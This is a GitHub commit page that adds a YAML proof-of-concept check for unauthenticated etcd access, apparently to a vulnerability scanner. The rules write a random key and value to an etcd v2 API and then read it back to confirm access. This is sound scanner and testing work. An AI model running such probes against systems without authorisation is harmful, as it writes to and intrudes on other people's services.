Skip to content

Commit

Permalink
Create poc-yaml-etcd-unauth.yml (chaitin#453)
Browse files Browse the repository at this point in the history
  • Loading branch information
j4ckzh0u authored and virusdefender committed Oct 25, 2019
1 parent f6c9694 commit 35df47f
Showing 1 changed file with 29 additions and 0 deletions.
29 changes: 29 additions & 0 deletions pocs/etcd-unauth.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
name: poc-yaml-etcd-unauth
set:
r1: randomLowercase(32)
r2: randomLowercase(32)
r3: randomLowercase(32)
rules:
- method: PUT
path: /v2/keys/{{r1}}?dir=true
follow_redirects: false
expression: |
status == 201
- method: PUT
path: /v2/keys/{{r1}}/{{r2}}?prevExist=false
headers:
Content-Type: application/x-www-form-urlencoded
body: value={{r3}}
follow_redirects: false
expression: |
status == 201
- method: GET
path: /v2/keys/{{r1}}/{{r2}}?quorum=false&recursive=false&sorted=false
follow_redirects: false
expression: |
status == 200 && body.bcontains(bytes(r3))
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://www.freebuf.com/news/196993.html

0 comments on commit 35df47f

Please sign in to comment.